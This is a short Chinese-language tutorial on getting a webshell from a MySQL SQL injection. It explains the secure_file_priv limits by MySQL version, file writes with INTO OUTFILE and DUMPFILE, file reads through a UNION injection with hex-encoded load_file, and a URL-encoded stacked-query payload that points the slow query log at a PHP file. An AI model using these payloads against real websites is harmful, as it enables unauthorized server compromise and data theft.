如果一个平台有注入点的时候可以通过写一句话拿shell
条件
1.myql 5.6.34 版本区分
2.有写的权限
3.知道绝对路径
MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在
secure_file_priv 的默认值被修改为无才能利用,且这个只能手工修改配置文件不能用sql语句,也就是想直接导出需要管理员不知道干了什么帮你修改好这个权限才行。
windows系统在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同时读写权限问题就不用说了。
mysql 低于5.6.34
时候可以直接
写文件我们一般用到 `dumpfile`与`outfile` 她们其实是有区别
`outfile` 会在行末写入新行,而且会转义换行符
`dumpfile` 能导出一个完整的文件,不会有任何转义 所以我们udf提取一般用的dumpfile
例如 select 1,'123456' into outfile 'C:\\Users\\yzj\\Desktop\\wy1.php'
可以写到项目文件下进行解析
也可以 利用内联注释进行 读取项目文件例如配置文件
id=1 union select 1,2,hex(load_file(0x463A5C5C312E747874)) 通过hex 加密是因为 有时候内联的数据类型不匹配报错这个时候就要用的hex() 或者password()
如果 load_file() 方法被禁止了 还可以用
load data infile '地址' into table user;
写到某个表中 去查看信息
mysql 高于5.6.34
可以修改配置文件
secure_file_priv不为NULL 但需要改配置文件
windows下:
修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =
保存,重启mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。
当然大部分情况是没有权限的我们利用 堆注入 去更改慢日志存储路径来写shell
堆注入原生的php方法是不支持的 得使用使用 PDO,mysqli_multi_query() 也就是说条件很苛刻
set global slow_query_log=1;
set global slow_query_log_file='D://404.php' -- 地址
select '' or sleep(15);
例子
id=1%23;set global slow_query_log=1;set global slow_query_log_file='D://404.php' ;select '' or sleep(15);
执行完后去跟路径下去访问404.php